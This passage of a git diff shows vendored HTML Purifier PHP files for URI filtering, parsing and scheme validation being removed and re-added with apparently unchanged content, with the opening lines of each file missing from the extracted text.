+ public function registerFilter($filter) + { + $this->registeredFilters[$filter->name] = $filter; + } + + public function addFilter($filter, $config) + { + $r = $filter->prepare($config); + if ($r === false) return; // null is ok, for backwards compat + if ($filter->post) { + $this->postFilters[$filter->name] = $filter; + } else { + $this->filters[$filter->name] = $filter; + } + } + + protected function doSetup($config) + { + $this->setupMemberVariables($config); + $this->setupFilters($config); + } + + protected function setupFilters($config) + { + foreach ($this->registeredFilters as $name => $filter) { + if ($filter->always_load) { + $this->addFilter($filter, $config); + } else { + $conf = $config->get('URI.' . $name); + if ($conf !== false && $conf !== null) { + $this->addFilter($filter, $config); + } + } + } + unset($this->registeredFilters); + } + + protected function setupMemberVariables($config) + { + $this->host = $config->get('URI.Host'); + $base_uri = $config->get('URI.Base'); + if (!is_null($base_uri)) { + $parser = new HTMLPurifier_URIParser(); + $this->base = $parser->parse($base_uri); + $this->defaultScheme = $this->base->scheme; + if (is_null($this->host)) $this->host = $this->base->host; + } + if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme'); + } + + public function getDefaultScheme($config, $context) + { + return HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme, $config, $context); + } + + public function filter(&$uri, $config, $context) + { + foreach ($this->filters as $name => $f) { + $result = $f->filter($uri, $config, $context); + if (!$result) return false; + } + return true; + } + + public function postFilter(&$uri, $config, $context) + { + foreach ($this->postFilters as $name => $f) { + $result = $f->filter($uri, $config, $context); + if (!$result) return false; + } + return true; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php index 0333ea3415..09724e9f41 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php @@ -1,74 +1,74 @@ -getDefinition('URI')->host; - if ($our_host !== null) { - $this->ourHostParts = array_reverse(explode('.', $our_host)); - } - } - - /** - * @param HTMLPurifier_URI $uri Reference - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function filter(&$uri, $config, $context) - { - if (is_null($uri->host)) { - return true; - } - if ($this->ourHostParts === false) { - return false; - } - $host_parts = array_reverse(explode('.', $uri->host)); - foreach ($this->ourHostParts as $i => $x) { - if (!isset($host_parts[$i])) { - return false; - } - if ($host_parts[$i] != $this->ourHostParts[$i]) { - return false; - } - } - return true; - } -} - -// vim: et sw=4 sts=4 +getDefinition('URI')->host; + if ($our_host !== null) { + $this->ourHostParts = array_reverse(explode('.', $our_host)); + } + } + + /** + * @param HTMLPurifier_URI $uri Reference + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if (is_null($uri->host)) { + return true; + } + if ($this->ourHostParts === false) { + return false; + } + $host_parts = array_reverse(explode('.', $uri->host)); + foreach ($this->ourHostParts as $i => $x) { + if (!isset($host_parts[$i])) { + return false; + } + if ($host_parts[$i] != $this->ourHostParts[$i]) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php index 22697d71ec..c6562169e0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php @@ -1,25 +1,25 @@ -get('EmbeddedURI', true)) { - return true; - } - return parent::filter($uri, $config, $context); - } -} - -// vim: et sw=4 sts=4 +get('EmbeddedURI', true)) { + return true; + } + return parent::filter($uri, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php index bdae955295..d5c412c444 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php @@ -1,22 +1,22 @@ -get('EmbeddedURI', true); - } -} - -// vim: et sw=4 sts=4 +get('EmbeddedURI', true); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php index 54980b6eb0..a6645c17ee 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php @@ -1,46 +1,46 @@ -blacklist = $config->get('URI.HostBlacklist'); - return true; - } - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function filter(&$uri, $config, $context) - { - foreach ($this->blacklist as $blacklisted_host_fragment) { - if (strpos($uri->host, $blacklisted_host_fragment) !== false) { - return false; - } - } - return true; - } -} - -// vim: et sw=4 sts=4 +blacklist = $config->get('URI.HostBlacklist'); + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + foreach ($this->blacklist as $blacklisted_host_fragment) { + if (strpos($uri->host, $blacklisted_host_fragment) !== false) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php index c873bce963..c507bbff8e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php @@ -1,158 +1,158 @@ -getDefinition('URI'); - $this->base = $def->base; - if (is_null($this->base)) { - trigger_error( - 'URI.MakeAbsolute is being ignored due to lack of ' . - 'value for URI.Base configuration', - E_USER_WARNING - ); - return false; - } - $this->base->fragment = null; // fragment is invalid for base URI - $stack = explode('/', $this->base->path); - array_pop($stack); // discard last segment - $stack = $this->_collapseStack($stack); // do pre-parsing - $this->basePathStack = $stack; - return true; - } - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function filter(&$uri, $config, $context) - { - if (is_null($this->base)) { - return true; - } // abort early - if ($uri->path === '' && is_null($uri->scheme) && - is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) { - // reference to current document - $uri = clone $this->base; - return true; - } - if (!is_null($uri->scheme)) { - // absolute URI already: don't change - if (!is_null($uri->host)) { - return true; - } - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) { - // scheme not recognized - return false; - } - if (!$scheme_obj->hierarchical) { - // non-hierarchal URI with explicit scheme, don't change - return true; - } - // special case: had a scheme but always is hierarchical and had no authority - } - if (!is_null($uri->host)) { - // network path, don't bother - return true; - } - if ($uri->path === '') { - $uri->path = $this->base->path; - } elseif ($uri->path[0] !== '/') { - // relative path, needs more complicated processing - $stack = explode('/', $uri->path); - $new_stack = array_merge($this->basePathStack, $stack); - if ($new_stack[0] !== '' && !is_null($this->base->host)) { - array_unshift($new_stack, ''); - } - $new_stack = $this->_collapseStack($new_stack); - $uri->path = implode('/', $new_stack); - } else { - // absolute path, but still we should collapse - $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path))); - } - // re-combine - $uri->scheme = $this->base->scheme; - if (is_null($uri->userinfo)) { - $uri->userinfo = $this->base->userinfo; - } - if (is_null($uri->host)) { - $uri->host = $this->base->host; - } - if (is_null($uri->port)) { - $uri->port = $this->base->port; - } - return true; - } - - /** - * Resolve dots and double-dots in a path stack - * @param array $stack - * @return array - */ - private function _collapseStack($stack) - { - $result = array(); - $is_folder = false; - for ($i = 0; isset($stack[$i]); $i++) { - $is_folder = false; - // absorb an internally duplicated slash - if ($stack[$i] == '' && $i && isset($stack[$i + 1])) { - continue; - } - if ($stack[$i] == '..') { - if (!empty($result)) { - $segment = array_pop($result); - if ($segment === '' && empty($result)) { - // error case: attempted to back out too far: - // restore the leading slash - $result[] = ''; - } elseif ($segment === '..') { - $result[] = '..'; // cannot remove .. with .. - } - } else { - // relative path, preserve the double-dots - $result[] = '..'; - } - $is_folder = true; - continue; - } - if ($stack[$i] == '.') { - // silently absorb - $is_folder = true; - continue; - } - $result[] = $stack[$i]; - } - if ($is_folder) { - $result[] = ''; - } - return $result; - } -} - -// vim: et sw=4 sts=4 +getDefinition('URI'); + $this->base = $def->base; + if (is_null($this->base)) { + trigger_error( + 'URI.MakeAbsolute is being ignored due to lack of ' . + 'value for URI.Base configuration', + E_USER_WARNING + ); + return false; + } + $this->base->fragment = null; // fragment is invalid for base URI + $stack = explode('/', $this->base->path); + array_pop($stack); // discard last segment + $stack = $this->_collapseStack($stack); // do pre-parsing + $this->basePathStack = $stack; + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if (is_null($this->base)) { + return true; + } // abort early + if ($uri->path === '' && is_null($uri->scheme) && + is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) { + // reference to current document + $uri = clone $this->base; + return true; + } + if (!is_null($uri->scheme)) { + // absolute URI already: don't change + if (!is_null($uri->host)) { + return true; + } + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + // scheme not recognized + return false; + } + if (!$scheme_obj->hierarchical) { + // non-hierarchal URI with explicit scheme, don't change + return true; + } + // special case: had a scheme but always is hierarchical and had no authority + } + if (!is_null($uri->host)) { + // network path, don't bother + return true; + } + if ($uri->path === '') { + $uri->path = $this->base->path; + } elseif ($uri->path[0] !== '/') { + // relative path, needs more complicated processing + $stack = explode('/', $uri->path); + $new_stack = array_merge($this->basePathStack, $stack); + if ($new_stack[0] !== '' && !is_null($this->base->host)) { + array_unshift($new_stack, ''); + } + $new_stack = $this->_collapseStack($new_stack); + $uri->path = implode('/', $new_stack); + } else { + // absolute path, but still we should collapse + $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path))); + } + // re-combine + $uri->scheme = $this->base->scheme; + if (is_null($uri->userinfo)) { + $uri->userinfo = $this->base->userinfo; + } + if (is_null($uri->host)) { + $uri->host = $this->base->host; + } + if (is_null($uri->port)) { + $uri->port = $this->base->port; + } + return true; + } + + /** + * Resolve dots and double-dots in a path stack + * @param array $stack + * @return array + */ + private function _collapseStack($stack) + { + $result = array(); + $is_folder = false; + for ($i = 0; isset($stack[$i]); $i++) { + $is_folder = false; + // absorb an internally duplicated slash + if ($stack[$i] == '' && $i && isset($stack[$i + 1])) { + continue; + } + if ($stack[$i] == '..') { + if (!empty($result)) { + $segment = array_pop($result); + if ($segment === '' && empty($result)) { + // error case: attempted to back out too far: + // restore the leading slash + $result[] = ''; + } elseif ($segment === '..') { + $result[] = '..'; // cannot remove .. with .. + } + } else { + // relative path, preserve the double-dots + $result[] = '..'; + } + $is_folder = true; + continue; + } + if ($stack[$i] == '.') { + // silently absorb + $is_folder = true; + continue; + } + $result[] = $stack[$i]; + } + if ($is_folder) { + $result[] = ''; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php index 4b4f0cf72d..6e03315a17 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php @@ -1,115 +1,115 @@ -target = $config->get('URI.' . $this->name); - $this->parser = new HTMLPurifier_URIParser(); - $this->doEmbed = $config->get('URI.MungeResources'); - $this->secretKey = $config->get('URI.MungeSecretKey'); - if ($this->secretKey && !function_exists('hash_hmac')) { - throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support."); - } - return true; - } - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function filter(&$uri, $config, $context) - { - if ($context->get('EmbeddedURI', true) && !$this->doEmbed) { - return true; - } - - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) { - return true; - } // ignore unknown schemes, maybe another postfilter did it - if (!$scheme_obj->browsable) { - return true; - } // ignore non-browseable schemes, since we can't munge those in a reasonable way - if ($uri->isBenign($config, $context)) { - return true; - } // don't redirect if a benign URL - - $this->makeReplace($uri, $config, $context); - $this->replace = array_map('rawurlencode', $this->replace); - - $new_uri = strtr($this->target, $this->replace); - $new_uri = $this->parser->parse($new_uri); - // don't redirect if the target host is the same as the - // starting host - if ($uri->host === $new_uri->host) { - return true; - } - $uri = $new_uri; // overwrite - return true; - } - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - */ - protected function makeReplace($uri, $config, $context) - { - $string = $uri->toString(); - // always available - $this->replace['%s'] = $string; - $this->replace['%r'] = $context->get('EmbeddedURI', true); - $token = $context->get('CurrentToken', true); - $this->replace['%n'] = $token ? $token->name : null; - $this->replace['%m'] = $context->get('CurrentAttr', true); - $this->replace['%p'] = $context->get('CurrentCSSProperty', true); - // not always available - if ($this->secretKey) { - $this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey); - } - } -} - -// vim: et sw=4 sts=4 +target = $config->get('URI.' . $this->name); + $this->parser = new HTMLPurifier_URIParser(); + $this->doEmbed = $config->get('URI.MungeResources'); + $this->secretKey = $config->get('URI.MungeSecretKey'); + if ($this->secretKey && !function_exists('hash_hmac')) { + throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support."); + } + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if ($context->get('EmbeddedURI', true) && !$this->doEmbed) { + return true; + } + + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + return true; + } // ignore unknown schemes, maybe another postfilter did it + if (!$scheme_obj->browsable) { + return true; + } // ignore non-browseable schemes, since we can't munge those in a reasonable way + if ($uri->isBenign($config, $context)) { + return true; + } // don't redirect if a benign URL + + $this->makeReplace($uri, $config, $context); + $this->replace = array_map('rawurlencode', $this->replace); + + $new_uri = strtr($this->target, $this->replace); + $new_uri = $this->parser->parse($new_uri); + // don't redirect if the target host is the same as the + // starting host + if ($uri->host === $new_uri->host) { + return true; + } + $uri = $new_uri; // overwrite + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + */ + protected function makeReplace($uri, $config, $context) + { + $string = $uri->toString(); + // always available + $this->replace['%s'] = $string; + $this->replace['%r'] = $context->get('EmbeddedURI', true); + $token = $context->get('CurrentToken', true); + $this->replace['%n'] = $token ? $token->name : null; + $this->replace['%m'] = $context->get('CurrentAttr', true); + $this->replace['%p'] = $context->get('CurrentCSSProperty', true); + // not always available + if ($this->secretKey) { + $this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php index 5ecb9567ba..f609c47a34 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php @@ -1,68 +1,68 @@ -regexp = $config->get('URI.SafeIframeRegexp'); - return true; - } - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function filter(&$uri, $config, $context) - { - // check if filter not applicable - if (!$config->get('HTML.SafeIframe')) { - return true; - } - // check if the filter should actually trigger - if (!$context->get('EmbeddedURI', true)) { - return true; - } - $token = $context->get('CurrentToken', true); - if (!($token && $token->name == 'iframe')) { - return true; - } - // check if we actually have some whitelists enabled - if ($this->regexp === null) { - return false; - } - // actually check the whitelists - return preg_match($this->regexp, $uri->toString()); - } -} - -// vim: et sw=4 sts=4 +regexp = $config->get('URI.SafeIframeRegexp'); + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + // check if filter not applicable + if (!$config->get('HTML.SafeIframe')) { + return true; + } + // check if the filter should actually trigger + if (!$context->get('EmbeddedURI', true)) { + return true; + } + $token = $context->get('CurrentToken', true); + if (!($token && $token->name == 'iframe')) { + return true; + } + // check if we actually have some whitelists enabled + if ($this->regexp === null) { + return false; + } + // actually check the whitelists + return preg_match($this->regexp, $uri->toString()); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php index 699978dcb9..0e7381a07b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php @@ -1,71 +1,71 @@ -percentEncoder = new HTMLPurifier_PercentEncoder(); - } - - /** - * Parses a URI. - * @param $uri string URI to parse - * @return HTMLPurifier_URI representation of URI. This representation has - * not been validated yet and may not conform to RFC. - */ - public function parse($uri) - { - $uri = $this->percentEncoder->normalize($uri); - - // Regexp is as per Appendix B. - // Note that ["<>] are an addition to the RFC's recommended - // characters, because they represent external delimeters. - $r_URI = '!'. - '(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme - '(//([^/?#"<>]*))?'. // 4. Authority - '([^?#"<>]*)'. // 5. Path - '(\?([^#"<>]*))?'. // 7. Query - '(#([^"<>]*))?'. // 8. Fragment - '!'; - - $matches = array(); - $result = preg_match($r_URI, $uri, $matches); - - if (!$result) return false; // *really* invalid URI - - // seperate out parts - $scheme = !empty($matches[1]) ? $matches[2] : null; - $authority = !empty($matches[3]) ? $matches[4] : null; - $path = $matches[5]; // always present, can be empty - $query = !empty($matches[6]) ? $matches[7] : null; - $fragment = !empty($matches[8]) ? $matches[9] : null; - - // further parse authority - if ($authority !== null) { - $r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/"; - $matches = array(); - preg_match($r_authority, $authority, $matches); - $userinfo = !empty($matches[1]) ? $matches[2] : null; - $host = !empty($matches[3]) ? $matches[3] : ''; - $port = !empty($matches[4]) ? (int) $matches[5] : null; - } else { - $port = $host = $userinfo = null; - } - - return new HTMLPurifier_URI( - $scheme, $userinfo, $host, $port, $path, $query, $fragment); - } - -} - -// vim: et sw=4 sts=4 +percentEncoder = new HTMLPurifier_PercentEncoder(); + } + + /** + * Parses a URI. + * @param $uri string URI to parse + * @return HTMLPurifier_URI representation of URI. This representation has + * not been validated yet and may not conform to RFC. + */ + public function parse($uri) + { + $uri = $this->percentEncoder->normalize($uri); + + // Regexp is as per Appendix B. + // Note that ["<>] are an addition to the RFC's recommended + // characters, because they represent external delimeters. + $r_URI = '!'. + '(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme + '(//([^/?#"<>]*))?'. // 4. Authority + '([^?#"<>]*)'. // 5. Path + '(\?([^#"<>]*))?'. // 7. Query + '(#([^"<>]*))?'. // 8. Fragment + '!'; + + $matches = array(); + $result = preg_match($r_URI, $uri, $matches); + + if (!$result) return false; // *really* invalid URI + + // seperate out parts + $scheme = !empty($matches[1]) ? $matches[2] : null; + $authority = !empty($matches[3]) ? $matches[4] : null; + $path = $matches[5]; // always present, can be empty + $query = !empty($matches[6]) ? $matches[7] : null; + $fragment = !empty($matches[8]) ? $matches[9] : null; + + // further parse authority + if ($authority !== null) { + $r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/"; + $matches = array(); + preg_match($r_authority, $authority, $matches); + $userinfo = !empty($matches[1]) ? $matches[2] : null; + $host = !empty($matches[3]) ? $matches[3] : ''; + $port = !empty($matches[4]) ? (int) $matches[5] : null; + } else { + $port = $host = $userinfo = null; + } + + return new HTMLPurifier_URI( + $scheme, $userinfo, $host, $port, $path, $query, $fragment); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php index 03602abe6d..fe9e82cf26 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php @@ -1,102 +1,102 @@ -, resolves edge cases - * with making relative URIs absolute - * @type bool - */ - public $hierarchical = false; - - /** - * Whether or not the URI may omit a hostname when the scheme is - * explicitly specified, ala file:///path/to/file. As of writing, - * 'file' is the only scheme that browsers support his properly. - * @type bool - */ - public $may_omit_host = false; - - /** - * Validates the components of a URI for a specific scheme. - * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool success or failure - */ - abstract public function doValidate(&$uri, $config, $context); - - /** - * Public interface for validating components of a URI. Performs a - * bunch of default actions. Don't overload this method. - * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool success or failure - */ - public function validate(&$uri, $config, $context) - { - if ($this->default_port == $uri->port) { - $uri->port = null; - } - // kludge: browsers do funny things when the scheme but not the - // authority is set - if (!$this->may_omit_host && - // if the scheme is present, a missing host is always in error - (!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) || - // if the scheme is not present, a *blank* host is in error, - // since this translates into '///path' which most browsers - // interpret as being 'http://path'. - (is_null($uri->scheme) && $uri->host === '') - ) { - do { - if (is_null($uri->scheme)) { - if (substr($uri->path, 0, 2) != '//') { - $uri->host = null; - break; - } - // URI is '////path', so we cannot nullify the - // host to preserve semantics. Try expanding the - // hostname instead (fall through) - } - // first see if we can manually insert a hostname - $host = $config->get('URI.Host'); - if (!is_null($host)) { - $uri->host = $host; - } else { - // we can't do anything sensible, reject the URL. - return false; - } - } while (false); - } - return $this->doValidate($uri, $config, $context); - } -} - -// vim: et sw=4 sts=4 +, resolves edge cases + * with making relative URIs absolute + * @type bool + */ + public $hierarchical = false; + + /** + * Whether or not the URI may omit a hostname when the scheme is + * explicitly specified, ala file:///path/to/file. As of writing, + * 'file' is the only scheme that browsers support his properly. + * @type bool + */ + public $may_omit_host = false; + + /** + * Validates the components of a URI for a specific scheme. + * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool success or failure + */ + abstract public function doValidate(&$uri, $config, $context); + + /** + * Public interface for validating components of a URI. Performs a + * bunch of default actions. Don't overload this method. + * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool success or failure + */ + public function validate(&$uri, $config, $context) + { + if ($this->default_port == $uri->port) { + $uri->port = null; + } + // kludge: browsers do funny things when the scheme but not the + // authority is set + if (!$this->may_omit_host && + // if the scheme is present, a missing host is always in error + (!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) || + // if the scheme is not present, a *blank* host is in error, + // since this translates into '///path' which most browsers + // interpret as being 'http://path'. + (is_null($uri->scheme) && $uri->host === '') + ) { + do { + if (is_null($uri->scheme)) { + if (substr($uri->path, 0, 2) != '//') { + $uri->host = null; + break; + } + // URI is '////path', so we cannot nullify the + // host to preserve semantics. Try expanding the + // hostname instead (fall through) + } + // first see if we can manually insert a hostname + $host = $config->get('URI.Host'); + if (!is_null($host)) { + $uri->host = $host; + } else { + // we can't do anything sensible, reject the URL. + return false; + } + } while (false); + } + return $this->doValidate($uri, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php index f854ba0527..41c49d5533 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php @@ -1,136 +1,136 @@ - true, - 'image/gif' => true, - 'image/png' => true, - ); - // this is actually irrelevant since we only write out the path - // component - /** - * @type bool - */ - public $may_omit_host = true; - - /** - * @param HTMLPurifier_URI $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool - */ - public function doValidate(&$uri, $config, $context) - { - $result = explode(',', $uri->path, 2); - $is_base64 = false; - $charset = null; - $content_type = null; - if (count($result) == 2) { - list($metadata, $data) = $result; - // do some legwork on the metadata - $metas = explode(';', $metadata); - while (!empty($metas)) { - $cur = array_shift($metas); - if ($cur == 'base64') { - $is_base64 = true; - break; - } - if (substr($cur, 0, 8) == 'charset=') { - // doesn't match if there are arbitrary spaces, but - // whatever dude - if ($charset !== null) { - continue; - } // garbage - $charset = substr($cur, 8); // not used - } else { - if ($content_type !== null) { - continue; - } // garbage - $content_type = $cur; - } - } - } else { - $data = $result[0]; - } - if ($content_type !== null && empty($this->allowed_types[$content_type])) { - return false; - } - if ($charset !== null) { - // error; we don't allow plaintext stuff - $charset = null; - } - $data = rawurldecode($data); - if ($is_base64) { - $raw_data = base64_decode($data); - } else { - $raw_data = $data; - } - if ( strlen($raw_data) < 12 ) { - // error; exif_imagetype throws exception with small files, - // and this likely indicates a corrupt URI/failed parse anyway - return false; - } - // XXX probably want to refactor this into a general mechanism - // for filtering arbitrary content types - if (function_exists('sys_get_temp_dir')) { - $file = tempnam(sys_get_temp_dir(), ""); - } else { - $file = tempnam("/tmp", ""); - } - file_put_contents($file, $raw_data); - if (function_exists('exif_imagetype')) { - $image_code = exif_imagetype($file); - unlink($file); - } elseif (function_exists('getimagesize')) { - set_error_handler(array($this, 'muteErrorHandler')); - $info = getimagesize($file); - restore_error_handler(); - unlink($file); - if ($info == false) { - return false; - } - $image_code = $info[2]; - } else { - trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR); - } - $real_content_type = image_type_to_mime_type($image_code); - if ($real_content_type != $content_type) { - // we're nice guys; if the content type is something else we - // support, change it over - if (empty($this->allowed_types[$real_content_type])) { - return false; - } - $content_type = $real_content_type; - } - // ok, it's kosher, rewrite what we need - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - $uri->fragment = null; - $uri->query = null; - $uri->path = "$content_type;base64," . base64_encode($raw_data); - return true; - } - - /** - * @param int $errno - * @param string $errstr - */ - public function muteErrorHandler($errno, $errstr) - { - } -} + true, + 'image/gif' => true, + 'image/png' => true, + ); + // this is actually irrelevant since we only write out the path + // component + /** + * @type bool + */ + public $may_omit_host = true; + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function doValidate(&$uri, $config, $context) + { + $result = explode(',', $uri->path, 2); + $is_base64 = false; + $charset = null; + $content_type = null; + if (count($result) == 2) { + list($metadata, $data) = $result; + // do some legwork on the metadata + $metas = explode(';', $metadata); + while (!empty($metas)) { + $cur = array_shift($metas); + if ($cur == 'base64') { + $is_base64 = true; + break; + } + if (substr($cur, 0, 8) == 'charset=') { + // doesn't match if there are arbitrary spaces, but + // whatever dude + if ($charset !== null) { + continue; + } // garbage + $charset = substr($cur, 8); // not used + } else { + if ($content_type !== null) { + continue; + } // garbage + $content_type = $cur; + } + } + } else { + $data = $result[0]; + } + if ($content_type !== null && empty($this->allowed_types[$content_type])) { + return false; + } + if ($charset !== null) { + // error; we don't allow plaintext stuff + $charset = null; + } + $data = rawurldecode($data); + if ($is_base64) { + $raw_data = base64_decode($data); + } else { + $raw_data = $data; + } + if ( strlen($raw_data) < 12 ) { + // error; exif_imagetype throws exception with small files, + // and this likely indicates a corrupt URI/failed parse anyway + return false; + } + // XXX probably want to refactor this into a general mechanism + // for filtering arbitrary content types + if (function_exists('sys_get_temp_dir')) { + $file = tempnam(sys_get_temp_dir(), ""); + } else { + $file = tempnam("/tmp", ""); + } + file_put_contents($file, $raw_data); + if (function_exists('exif_imagetype')) { + $image_code = exif_imagetype($file); + unlink($file); + } elseif (function_exists('getimagesize')) { + set_error_handler(array($this, 'muteErrorHandler')); + $info = getimagesize($file); + restore_error_handler(); + unlink($file); + if ($info == false) { + return false; + } + $image_code = $info[2]; + } else { + trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR); + } + $real_content_type = image_type_to_mime_type($image_code); + if ($real_content_type != $content_type) { + // we're nice guys; if the content type is something else we + // support, change it over + if (empty($this->allowed_types[$real_content_type])) { + return false; + } + $content_type = $real_content_type; + } + // ok, it's kosher, rewrite what we need + $uri->userinfo = null; + $uri->host = null; + $uri->port = null; + $uri->fragment = null; + $uri->query = null; + $uri->path = "$content_type;base64," . base64_encode($raw_data); + return true; + } + + /** + * @param int $errno + * @param string $errstr + */ + public function muteErrorHandler($errno, $errstr) + { + } +} diff --git 